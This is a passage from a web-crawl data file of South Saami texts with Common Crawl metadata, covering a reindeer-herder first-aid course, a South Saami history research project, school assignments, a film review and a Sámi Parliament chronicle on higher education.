nordlandsbanen","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.nrk.no\/sapmi\/ij-naan-giedtieboerove-sjidth-1.11759453","date":"2018-01-18T05:10:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887065.16\/warc\/CC-MAIN-20180118032119-20180118052119-00437.warc.gz","language":"sma","language_score":0.9999606609,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999606609344482}","num_words":121,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båatsoe saemieh utnieh vaarege barkoe sijjiem. Daan biejjien skovterh, motorsykkelh, nieliejuvlegh jih haepkiem nuhtjieh goh barkoe dirregh. Fuehpesne leah, tjoeverieh bovtsem tjøønghkedh, juhtedh. Mahta buaredh-biejjie årrodh jih aaj elmie-såamkedh.\nDastegh, dihte ov-lahkoe sjædta, guktie dellie edtjien dåemiedidh.\nDaelie edtjieh båatsoe saemieh noerhtelaantesne lieredh jih dallegh viehkiem vedtedh daan sov barkoe voelpese.\nEdtja dagkeres, voestes viehkie øøhpetimmie kuvsje Hemavansne ,Sveerjesne årrodh goevten 10.b.-11.b.\nGun Utsi dihte kuvsjeøørnedæjja. Dihte tuhtjie daate joekoen vihkeles.\n–Båatsoe saemieh edtjieh daejredh, gåabph voestemes edtjieh bieljelidh, ov-lahkoen mænngan. Dan, Alarmsentralen gåajka. Ov-lahkoe båatsoe barkosne sjædta jih dellie edtjieh åadtjodh, lieredh guktie dallegh viehkiem vedtedh. Dihte sijjien voelpe laarhkenamme, varta jih tjoevere hjelmem noeledh. Jih maahta aaj jiengen tjirrh vuajeme, guktie dellie daam almetjem viehkedh.Daate daerpies, gaajhkes edtjieh daam maehtedh jeahta Gun Utsi.\nDaan øøhpetimmie kuvsjese båata Alarmsentrale, Rødekors, skiemtjeåabpa jih dåaktere Helgelaanten skiemtjegåeteste.\nDaam kuvsjem aaj båatsoe saemieh sveerjen bielesne nuhtjeme.\nDagkeres, dallegh voestes viehkie kuvsjem, joe Sveerjen bielesne åtneme jih daelie daam seamma kuvsjemodellem, Nøørjen båatsoe saemide nuhtjieh.\nGun Utsi håhkesje jijnjes båetieh.\n–Fuehpies tijje, daelie bovtsebarkojne, 12 dan mearan, jeahteme båetieh jih jienebh aaj tjaakanieh.\nNoerhtelaanten båatsoesaemiej fylhkesiebrie jih Helgelaanten saemiensiebrie mij daam voestes- viehkie øøhpetimmie kuvsjem øørneme.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.nrk.no\/sapmi\/dallegh-voestes-viehkiem-vedtedh-1.11534181","date":"2018-04-24T05:38:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946564.73\/warc\/CC-MAIN-20180424041828-20180424061828-00574.warc.gz","language":"sma","language_score":0.9999918938,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999918937683105}","num_words":192,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Historical and Political Negotiations of South Saami Culture and Identity\nProsjekten ulmie lea daajroem jïh voerkesvoetem lissiehtidh åarjelsaemien kultuvren, jielemen jïh histovrijen bïjre. Mijjieh edtjebe goerehtidh guktie åarjelsaemien identiteete lea våajnoes dorjesovveme gosse joekehtslaakan jienebelåhkoen kultuvrine gaavnesjamme, jïh guktie dovne åarjelsaemieh jïh jienebelåhkoen kultuvre joekehtslaakan leah evtiedimmiem tsavtseme. Daate akte dåaresthfaageles prosjekte histovrijes, kultuvreanalytiske jïh teekstevitenskapeles vuajnoejgujmie.\nBielieprosjekth\nTrond Risto Nilssen: Åarjelsaemien kultuvre- jïh mojhteseeatneme behtjiedimmien nuelesne\nDaate bielieprosjekte sæjhta lïhkebe vuartasjidh ovvaantoem åtnoen jïh reeremen bïjre åarjelsaemien kultuvre- jïh mojhteseeatnamistie, gusnie gæmhpoe areaali bïjre bigkemen sjïekenisnie bïegkepaarhkijste raastem beaja dej joekehts dåehkiej gaskem. Eevre vihties edtjem lïhkebe vuartasjidh guktie kultuvre jïh åarjelsaemiej jïjtsh histovrije bieline sjædta jïh åtnose vaaltasåvva juktie politihkeles sjæjsjalimmieh tsevtsedh. Åarjelsaemien jielede jïh jieleme daennie åarjelsaemien tjiehtjielisnie mij håvhtasåvva bigkemistie, lea gelliej tjuetie jaepiej tjïrrh meatan orreme goh akte bielie dehtie eatnamistie gusnie relasjovnh gaskem almetjh, jielemem jïh eatnemem leah vihkeles maadthaarvoeh dan åarjelsaemien siebriedahkese. Åarjelsaemieh tjïertestieh båatsoe akte vihkeles krïevenasse juktie åarjelsaemien daajroem jïh aerpievuekieh vaarjelidh jïh guhkiebasse jåerhkedh, jïh gïele jïh kultuvre leah vaahresne nåhkedh dastegh båatsoe vaanene jïh gaarvene. Åtnoe åarjelsaemien tjiehtjielisnie gusnie kultuvre jïh mojhtesh lea gaaltijh daajrose, goerkesasse jïh identifikasjovnese, gusnie aerpievuekieh jïh vuekieh leah kultuvrelle tjoevtenjh jïh vihkeles identiteetemïerhkh dennie daajbaaletje åarjelsaemien jïjtjegoerkesisnie, leah vihkeles biehkieh åarjelsaemien siebriedahkesne. Prosjekte pryövoe daennie tjoevkesisnie goerehtidh guktie åarjelsaemien siebriedahke jïjtjemse kultuvre- jïh mojhteseeatnamasse ektede gæmhposne areaali bïjre, jïh guktie eatneme, histovrije jïh aerpievuekieh sjidtieh goh jårrehtimmiemierieh dejnie histovrijes jïh politihkeles rååresjimmine stoerresiebriedahkesne. Materijaale, teorije jïh vuekie; analyjsh meediji gïetedimmeste dejstie juhtije areaaleovvaantojste, jïh gihtjehtimmieh åarjelsaemiejgujmie mah ovvaantoem ryöktesth dååjroeh sijhtieh otnjegem jïh perspektijvem daan barkose vedtedh. Prosjekte sæjhta voejhkelidh teorijh tjåenghkies mojhtesi jïh histovrijeåtnoen bïjre ektiedidh dejtie identiteeteprosesside mah aktiveradamme sjidtieh gosse kultuvre- jïh mojhteseeatneme håvhtadamme sjidtieh.\nLeiv Sem: Åarjelsaemien historiografije\nDaate prosjekte goerehte maam sijjide, råållide jïh staatusidie åarjelsaemien kultuvre jïh årrojh utnieh urrebe regijonaale histovrijevierhkine, uvtemes Trööndelagen histovrije 1-3 (Ida Bull et. al. 2005). Gosse daate vierhkie bæjhkoehtamme sjïdti, dellie dïhte laejhtemem åadtjoeji åarjelsaemien bieleste ihke saemieh vaenie sijjiem åådtjeme. Vierhkien redaktöörh jïjtjemse gaatelassjin jïh jeehtin åarjelsaemien kultuvre lij meatan dan gåhkese dïhte histovrijes gaaltijematerijelle dam baaji. Dan åvteste digkiedimmie aaj jienebh gyhtjelassh buakta: Uvtemes akte ïedtje vååjnesasse båata dennie saemien barkosne akten histovrijes identiteeten åvteste, dennie aktene bielesne gaskem reaktam jïjtse identiteetem tjïelkestidh jïjtse krïevenassine, jïh mubpene bielesne jïjtse kultuvrem våajnoes darjodh jïh vihtiestidh dïhte edtja meatan vaaltasovvedh gosse mubpieh sijjen kultuvrem buerkeste. Mubpesth dle histovrijedotkeme aaj gellie haestemh åådtje dan gaavhtan: guktie maahta histovrijem tjaeledh mij ij joe sov aalkoelisnie bielieh årroejijstie vuastelh?\nGosse daam vierhkiem veelebelaakan låhka, men aaj jeatjah plearoeh vierhkieh jïh voenegærjah, prosjekte sæjhta daejnie gihtjedh mennie mieresne jïh guktie åarjelsaemien identiteete lea ussjedamme goh akte bielie aktede stuerebe ektievoeteste. Dovne daate histovrijevierhkie jïh dïhte minngebe digkiedimmie vuesiehtieh guktie saemien jïh daaroen identiteeth leah illedahkh dejstie kultuvrelle jïh tjaaleldh dahkojste. Dah eah leah tjåadtjoen jallh ihkuve, men aktene ahkedh rååresjimmesne, jïh bielie histovrijes prosessijste mejtie maahta bååstede goeredh gaskeaalteren baaktoe, jïh plearoeh prosessh abpe veartenisnie gååvnesieh.\nAsbjørn Kolberg: Åarjelsaemien identiteete regijonaale preessesne 1900-låhkoen bïjre\nAkte goerehtimmie mij vuesehte guktie åarjelsaemien identiteete våajnoes dorjesåvva, vuesehte mij saemien identiteete lea jïh rååresjamme sjædta regijonaale preessesne jïh jeatjah bæjhkoehtimmine 1900-låhkoen minngiegietjesne jïh voestes lehkiem 2000-låhkoen aalkoelisnie, leavlojne jaepide saemien rijhketjåanghkoen åvtelen jïh mænngan Tråantesne 1917. Dej gyhtjelassi gaskem mah gihtjesuvvieh lea: Mennie mieresne jïh guktie saemieh jïh saemien aamhtesh leah våajnoes dorjesovveme dejnie regijonaale plaerine? Mennie mieresne dïhte åarjelsaemien gïele nuepiem åådtje sov mïelem buektedh stoerresiebriedahken plaerine?\nÅejvielaavenjasse lea registreradidh man jïjnje lea saernijste, tjaalegijstie jïh gihtjehtimmijste saemiej jïh saemien aamhtesi bïjre plaerine jïh jeatjah bæjhkoehtimmine. Goh akte sjyöhtehke duekie dle sïjhtem aaj teeksth mah leah dan bïjre mij gohtjesåvva assimilasjovnediskurse (1850-1950) analyseradidh; goh v.g topografeles lidteratuvre, turistegïetegærjah jïh learoegærjah mah saemiej bïjre tjaelieh. Akte vihkeles gyhtjelasse sæjhta dan åvteste årrodh: mennie mieresne gaajenassem gaavna daehtie assimilasjovnediskurseste gaskenöörjen preessesne?\nVoenges jïh regijonaale plaerieh Gaske-Nöörjesne leah åejviebielie materijaaleste. Akte sagke unnebe, men læjhkan vihkeles bielie materijaaleste lea dïhte saemien gïele. Daate dïhte aajnehke saemien plaerie (Waren Sardne) mij lea bæjhkoehtamme Nöörjen åarjelsaemien dajvesne boelhken (1910 -13 jïh 1922-27).\nTeekstematerjaale analyseradamme jïh digkiedamme sjædta tjoevkesisnie dejstie reerije teekste jïh diskurseteorijiste. Materijaale aaj digkiedamme sjædta tjoevkesisnie gaskenasjonaale lidteratuvreste aalkoealmetji jïh meediji bïjre.\nHåkon Hermanstrand: Åarjelsaemien laantelååjkedimmieh\/bygselh 1700-låhkoen\nMov prosjekte edtja åarjelsaemien laantelååjkedimmieh gïehtjedidh mah leah ektiedamme båatsose 1700-låhkoen. Daah laantelååjkedimmieh gååvnesin sislaantesne Hedmaarhken luvhtie Saltoduodtaren gåajkoe daan beajjetje raasten mietie Sveerjen vööste, jïh leah latjkoeh gaskem saemieh jïh staate jallh gånkan tjirkijh. Manne uvtemes soejkesjem dam saemien dajvem Vaapste goerehtidh, mij lea åarjelluvlene Nordlaanten fylhkesne jïh noerhtejïllene Västerbottenisnie Sveerjesne.\nVuesiehtimmien gaavhtan dle laantelååjkedimmide buerkiestamme digkiedimmine saemien histovrijen bïjre ektiedamme dïsse mij gohtjesåvva framrykkingshypotesen. Laantelååjkedimmieh aaj vihkeles gaaltijh orreme dejtie aamhtesidie saemien reaktaj bïjre åvtelen båatsoesïjth sjïehtesjin. Læjhkan manne vïenhtem daate akte tsiehkie maam byöroe goerehtidh, buerkiestidh jïh voejhkelidh buerebelaakan guarkedh.\nMaahta jienebh gyhtjelassh buektedh laantelååjkedimmiej bïjre. Man åvteste laantelååjkedimmieh eah leah gååvnesamme jeatjah bieline åarjelsaemien dajveste, vuesiehtimmien gaavhtan Fovsen-Njaarkesne Trööndelagesne? Laantelååjkedimmieh jïh saemien skaehtielaanth Sveerjesne plearoeh jïh lïhke fenomeenh? Man åvteste laantelååjkedimmieh sjïdti? Mah illedahkh sæjhta åadtjodh jis aktem saemien vuajnoem pryövoeh, vuesiehtimmien gaavhtan jis dïejvesh nuhtjie goh sïjte jïh maadtoe jïh laahkoe, analyjsesne laantelååjkedimmiej bïjre?\nAkte bijjemes ulmie lea gaavnehtidh mejtie goerkese åarjelsaemien laantelååjkedimmijste maahta viehkiehtidh guktie buerebelaakan dejtie etnihkeles prosesside guarka mah leah histovrijes gaaltijidie ektiedamme, jïh dagke dan tjïrrh aktem metodihkeles jïh teoretihkeles dåarjoem saemien histovrijedotkemasse vedtedh.","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/blogg.nord.no\/southsaamiproject\/om-prosjektet\/bielieprosjekth\/","date":"2019-03-26T11:18:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912204969.39\/warc\/CC-MAIN-20190326095131-20190326121131-00054.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":871,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne laavenjassh faage-sæjrose Jienebegïelen siebriedahke. Vaestedh laavenjasside!\n1. laavenjasse\nMan åvteste guektien- jïh jienebe-gïelevoete hijven almetjasse jïh siebriedahkese?\n2. laavenjasse\nGoeredh aktem guektien- jallh jienebe-gïelen almetjem jïh\/jallh aktem guektien- jallh jienebe-gïelen siebriedahkem jïh buerkesth dej gïele-tsiehkiem. Vïenhth sïejhmebe, jallh ij, båetije biejjide jienebh gïelh guedtedh? Buerkesth man åvteste.\n3. laavenjasse\nGuktie datne sïjhth saemien-gïelem nuhtjedh båetije biejjide? Giejgujmie sïjhth saemiestidh? Sïjhth gïeline barkedh? Mejnie sïjhth barkedh?\n4. laavenjasse\nTjaelieh tjaalegem gusnie digkedh guktie skuvle, siebriedahke jïh barkoe-jielede maehtieh saemien-gïelem jïh guektien-gïelevoetem dåarjoehtidh.\nJienebegïelevoeteKjernestoff\nLaavenjassh jienebegïelevoeteKjernestoff\n- Kjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502\/topic:1:176815\/resource:1:189316","date":"2019-04-19T17:18:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00423.warc.gz","language":"sma","language_score":0.9999779463,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999779462814331}","num_words":83,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Doh göökte noerhtemes universiteeth leah saemien studijigujmie nïerhkeme jallh leah aalkeme saemien studijh soejkesjidh. Noerhte universiteete julevsaemien jïh åarjelsaemien maadthskuvlelohkehtæjjaööhpehtimmiem tjïrrehteminie daelie, jïh varke akte maanagïertelohkehtæjjaööhpehtimmie barkoesijjesne edtja aelkedh. Universiteete Romsesne jïh Saemien Jïlleskuvle lea aalkeme saemien skïemtjesåjhtereööhpehtimmiem soejkesjidh.\nDaelie guhkies sïllh vaaltasuvvieh juktie doh stoerre jïh vihkeles saemien siebriedahkehaestemh dåastodh. Mijjieh joekoen gellie lohkehtæjjah saemien gïelemaahtojne fååtesibie dovne skuvlide jïh maanagïertide. Saemiedigkie biejjieladtje bïevnesh maanagïertijste jïh skuvlijste åådtje mah haestemh utnieh lohkehtæjjah dåårrehtidh saemien lohkehtæjjamaahtojne. Daate lea praaretje haestemh mejtie mijjen siebriedahke åtna, men aktene guhkiebasse perspektijvesne raerieh gååvnesieh. Dan åvteste hijven vuejnedh Noerhte Universiteete lea lyhkesamme dej saemien lohkehtæjjaööhpehtimmiejgujmie dovne studijesijjesne Bådåddjo jïh Lievenge. Daesnie fusjovne jaepeste 2016 vihkeles orreme juktie maehtedh tjïrrehtidh jïh aelkedh aktem dagkeres studijem, jïh destie Noerhte Universiteete aktem hijven evtiedimmiem åådtjeme sov regijonaale tsåeptseste åarjel- jïh julevsaemien dajvesne.\nAktem saemien skïemtjesåjhtereööhpehtimmiem UiT:sne jïh Saemien jïlleskuvlesne tseegkedh lea seamma vihkeles. Vïhtesjh daate ij leah ajve akte skïemtjesåjhtereööhpehtimmie ohtje saemien sisveginie, men akte saemien skïemtjesåjhtereööhpehtimmie. Daate faalenasse akte dåarjoe dan stoerre nasjonaale daerpiesvoetese skïemtjesåjhteridie, men lissine aktem abpesaemien dimensjovnem åtna dåårrehtimmienuepiejgujmie saemien bieleste Sveerjesne jïh Såevmesne.\nSeamma tïjjen dïhte saemien skïemtjesåjhtereööhpehtimmie akte byjhkesjimmie dehtie prinsihpeste mij jeahta saemien årrojh krïevenassem utnieh seammavyörtegs healsoedïenesjh utnedh jïh lea vaestiedasse dejtie daerpiesvoetide mejtie saemien årrojh healsoesuerkesne utnieh.\nDaate lea golme vihkeles saemien ööhpehtimmieinstitusjovnh mah ektesne stoerre saemien siebriedahkedaerpiesvoeth dåastoeh. Ööhpehtimmieinstitusjovnh daelie sijjen profijlem evtiedieh jïh jïjtjemse sjyöhtehke darjoeh sjïere studijigujmie, mah joekoen sijhtieh maahtoem eevtjedh gaskenasjonaale suerkine. Saemiedigkie sæjhta ööhpehtimmieinstitusjovnigujmie laavenjostedh saemien studijh guhkiebasse evtiedidh jïh jienebh saemien studijh buektiehtidh. Mijjieh sïjhtebe tsevtsiedæjjine årrodh juktie tseegkeme struktuvrh, laakh jïh mieriedimmieh eah edtjh heaptojne årrodh olles saemien siebriedahkedaerpiesvoeth loetesovvh. Mijjieh edtjebe mijjen bieliem dåårrehtimmiedïedteste vaeltedh studiji åvteste stipendeöörnegigujmie jïh eadtjohke dåårrehtimmine learoehkijstie jåarhkeskuvline.\nGoh saemiedigkieraerie manne daejtie institusjovnide garmerdem mah aktem hijven jïh nænnoes barkoem dorjeme. Manne aavojne vuartesjem dan laavenjostose mij tseegkesåvva dej golme institusjovni gaskem, jïh gieltegsvoetine vuartam dejtie minngebe saemien ööhpehtimmide mah sijhtieh båetedh. Seamma tïjjen Saemiedigkie aaj sæjhta skraejriem bæjjese vaeltedh ööhpehtimmieinstitusjovnijste mah aktem staeries saemien representasjovnem raeriestieh universiteeti ståvrojne. Daate universiteeti regijonaale sijjiem vihteste, jïh universiteeti gïehtelimsdajvem tjyölkehkåbpoe dorje. Mijjieh dagkerh institusjovnh daarpesjibie, jïh mijjieh dej væljoem daarpesjibie juktie saemien siebriedahkedaerpiesvoeth dåastodh.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Kronihke-Universiteeth-noerhtene-njueniehkisnie-sjiere-studijefaalenassigujmie","date":"2019-04-26T10:26:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578765115.93\/warc\/CC-MAIN-20190426093516-20190426114641-00079.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":357,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.113,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daajrah guktie edtjh heamturem analyseradidh. Daesnie naan raerieh jïh maallem dutnjien gosse edtjh heamturem analyseradidh.\nAalkove\nTjaelieh heamturen nomme jïh soptsesth gustie veedtjeme. Tjaelieh åenehks iktedimmiem heamturistie.\nÅejvie-boelhke\nBuerkesth guktie heamture tseegkeme. Neebnh vg. golmetaale-njoelkedasssem, aalkoe-raajesem, minngie-raajesem, jïh vielie mij sjïere heamturinie. Tjaelieh iktedimmiem\/referaatem heamturistie. Mij lea heamturen teema? Tjaelieh maam vïenhth. Mij lea heamturen dïjre? Tjaelieh maam datne vïenhth.\nGalhkuve\nAaj maahtah viertiedidh jis heamturen teema almetjidie sjeahta daan biejjien. Maehtebe maam akt heamturistie lïeredh ?\nBaakoe\n|Saemien||Daaroen|\n|dïjre||budskap|","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185447\/resource:1:128343","date":"2019-04-25T22:54:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578742415.81\/warc\/CC-MAIN-20190425213812-20190425235812-00455.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":79,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne maahtah filme-ållermaehtemem lohkedh filmen bïjre Guovdageaidnu-stujmie.\nFilme: Guovdageaidnu-stujmie (Kautokeino-opprøret)\nSjangere: Draama\nRegissööre: Nils Gaup\nDorjehtæjjah: Mikkel Gaup, Mikael Persbrandt, Sverre Porsanger, Ann-Kristiina Juuso, Bjørn Sundquist.\nMan guhkie: 1 tæjmoe 36 min.\nSensuvre: 11 jaepieh\nTeernege-hajkeme: 5\nÅllermaehteme plaereste Østlands-Posten, bæjkoehtamme tsïengelen 17 jaepien 2008\nGaajh tjarke histovrije-tæjmoe Gaupeste\nNils Gaup dam ikth vielie dorjeme. Guovdageaidnu-stujmie akte joekoen åajvoeh filme sjïdteme. Filme hijvenlaakan dorjesovveme, jïh aktem tjïelke guvviem vadta daehtie dahkoste. Dorjehtæjjah hijvenlaakan spealadieh jïh tjaebpies guvvieh eatnamistie. Daate lea histovrije-ööhpehtimmie mij lea dramatiseradamme bööremes \"Grimberg\"-mïerhkeste. Jeenjesh sijhtieh dagke gyhtjelassh gihtjedh man åvteste naemhtie jïh numhtie veeljeme såemies dejstie filmen scenijste filmadidh. Mearan historihkere Hans Try seerijisnie Cappelen Nöörjen-histovrije ållermaahta Guovdageaidnu-stujmiem jaepien 1852 goh akte illedahke aktede religijööse tjelmehts jaahkoste såemies stujmiedihks saemiej luvnie, dle åejvie-ladtjh dah mah doh tjelmehts jaahkoe-ladtji råållah Gaupen filmesne spealadieh.\nFilmen soptsestimmie-sympatije jïh vuajnoe-haerie leah gidtjh saemiej luvnie. Maahta gujht jiehtedh daate akte daerpies jïh gieries staeriedimmie dan byögkeles histovrije-tjaeliemasse. Jalhts scene-bïhkedæjja dam sveerjen jïh joekoen gïjkije ööhpehtæjja Lars Levi Læstadiusem buerkeste goh akte sosijaale reformatovre jïh lyjnehke tjirkije vaajmoen religijovnese. Ij daarpesjh dan jïjnjem Læstadiusen jallh fåantoej bïjre daejredh juktie daam soptsesem lyjhkedh, mij lea gærhkoen slognestimmien bïjre jïh guktie åejvie-ladtjh faamoem nuhtjin. Histovrije lea soptsesovveme akten saemien-nïejten tjelmiej tjïrrh, man nomme Elen jïh maam Anni-Kristiina Juuso spealede. Mierie-soptsesisnie mijjieh dejtie göökte uvtemes saemien stujmiedæjjide råakebe gosse dah edtjieh båvvalgidh, mearan åejvie-dahkoe soptseste mij heannede daan sjyöhtehke biejjien raajan gålkoen. Jïh juktie stujmiem mubpesth jiehtedh; 57 nyjsenæjjah, gaarmanæjjah jïh maanah sijjen bovtsh jïh låavth-gåetieh bijjene vaeresne leehpin, Guovdageaidnun luvnie mïnnin jïh gaertenem båeltielin åesiestæjjese Lars Johan Bucht, mij provhki sprïjhtem doekedh jïh symbovline sjïdti darvenæmman. Gæmhposne dovne lientsie jïh åesiestæjja båvvalgin.\nMen jalhts såemies vaaradodtje scenah daesnie gååvnesieh, Gaup soptsesem uvtemes vååregelaakan vuesiehtieh. Daesnie baahke, ij fer jïjnje vissjie, tjïelke vuajnoe men ij karikeradimmieh. Dovne åejvieladtje-almetjh leah psykologeles jïh ussjedammes vuesiehtamme. Bjørn Sundquisten råålla lea hearra, mij vuesehte guktie hearra saemide vuartasjin.\nFilme lea profesjonelle jïh stoerre budsjedtem åtna. Filmesne vaarjoeh nuhtjieh mah leah reaktoe dehtie tïjjeste, jïh guvvieh eatnamistie leah joekoen tjaebpies. Tjoeje aaj hijven jïh dovne gïele, almetjh jïh byjrese saetnies vååjnoeh. Jïh ij tjoerh amma åajaldidh guktie filme lea bæjjese bigkeme dejnie gieltegs ovvaantojne, man åvteste filme varke jåhta jïh dutnjien dovne leevles domtesh jïh goerkesem vadta man åvteste stujmiedæjjah gæmhpoem veeltin.\n\"Guovdageaidnu-stujmie\" byöroe gåhkese jaksedh Nöörjen raasti ålkoli daelie. Daate stoerre filme-tjeahpoe aktede nænnoes jïh tjïelke gïeleste.\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nLohkije-tjaalegeKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\n- Kjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:178744","date":"2019-04-22T15:09:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00333.warc.gz","language":"sma","language_score":0.9998295903,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998295903205872}","num_words":453,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuejnieh guktie lektovre Inger Holtan jïh altese learohkh Hartvig Nissens skuvlesne Oslosne vuarjasjimmine njaalmeldh åehpiedehtiemistie berkieh.\nMaam learoe-soejkesje vuarjasjimmien bïjre jeahta?\nSaemien-faagesne ih edtjh ajve digkiedimmine meatan årrodh jïh håalemh jïh åehpiedehtemh hööltedh. Datne edtjh aaj ulmien vööste barkedh juktie ahkedh væjkalåbpoe sjïdtedh njaalmeldh tsiehkine. Jïh ij ajve dïhte – datne edtjh aaj maehtedh \"goltelidh, vuarjasjidh jïh bïhkeden bïevnesh bååstede vedtedh mubpiej njaalmeldh åehpiedehtiemidie\"!\nNuhteligs dutnjien jïh mubpide\nVihkeles datne krïevenasside damth mej mietie dijjieh learohkh vuarjasjamme sjidtieh, juktie ajve dellie datne buektehth tjïelke jïh nuhteligs bïevnesh bååstede vedtedh dov mubpie-learoehkidie. Krïevenassh aaj hijven viehkie dutnjien gosse edtjh akten njaalmeldh åehpiedehtiemasse ryöjredidh, juktie dellie daajrah maam lohkehtæjja datneste veanhtede.\nMaehtebe bïevnesh bååstede vedtedh joekehtslaakan. Videove bijjielisnie dutnjien aktem vuekiem vadta jieniebistie, jïh mijjieh gegkiestibie dïhte dutnjien skraejriem vadta barkojne nïerhkedh goh positijve laejhtije, dovne aavojne jïh itjmiesvoetine!\n1. laavenjasse\nGyhtjelassh videovasse\n- Mij sæjhta jiehtedh prosessesne barkedh njaalmeldh åehpiedehtieminie?\n- Mij lea aevhkie daejnie vuekine, lohkehtæjja Inger Holtanen mietie?\n- Mij akte åvtese-bïevnese?\n- Inger Holtan dïejvesem vekstpunkt nuhtjie. Buerkesth mij akte vekstpunkt lea.\n- Maam Andrea tuhtjie lea gïervemes gosse edtja håalemem hööltedh?\n- Andrea ånnetji dearkoes gosse edtja håalemem hööltedh. Mij maahta daam dearkoesvoetem giehpiedidh, Andrean mietie?\n- Andrean håalemen mænngan klaasse åådtje responsem vedtedh. Mïsse doh mubpieh learohkh edtjieh responsem vedtedh?\n- Tuhtjh hijven jallh nåake responsem sinsætnan numhtie vedtedh? Tjïelkesth dov vaestiedassem.\n- Man åvteste Andrea lyjhkoe satne naemhtie vuarjasjamme sjædta?\n- Mij lea sinsitnie-vuarjasjimmie?\n- Man åvteste lohkehtæjja meala learohki vuarjasjimmie sinsitneste satnem dåårje altese vuarjasjimmesne?\n- Ellida tuhtjie åtnoe response-goerijste aktem vielie reaktoe vuarjasjimmiem learoehkijstie vadta. Guktie sov vuajnoem tjïelkeste?\n- Maam Kari learohke-vuarjasjimmien bïjre ussjede?\n- Mah aevhkieh vuarjasjimmie-barkoe vadta response-dåehkine, lohkehtæjjan mietie?\n- Man åvteste Ellida meala vihkeles lïeredh håalemh jïh åehpiedehtemh hööltedh?\n2. laavenjasse\nDarjoeh aktem raeriestimmiem akten vuarjasjimmie-goerese njaalmeldh 